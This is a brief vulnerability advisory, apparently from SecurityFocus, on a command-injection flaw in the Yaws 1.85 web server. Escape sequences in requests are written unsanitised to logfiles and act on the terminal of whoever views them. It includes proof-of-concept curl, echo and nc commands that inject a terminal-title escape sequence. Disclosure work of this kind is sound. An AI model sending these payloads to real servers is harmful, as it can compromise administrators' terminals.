source: https://www.securityfocus.com/bid/37716/info

Yaws is prone to a command-injection vulnerability because it fails to adequately sanitize user-supplied input in logfiles.

Attackers can exploit this issue to execute arbitrary commands in a terminal.

Yaws 1.85 is vulnerable; other versions may also be affected. 

The following example is available:

curl -kis http://www.example.com/%1b%5d%32%3b%6f%77%6e%65%64%07%0a
echo -en "GET /\x1b]2;owned?\x07\x0a\x0d\x0a\x0d" > payload
nc localhost 80 < payload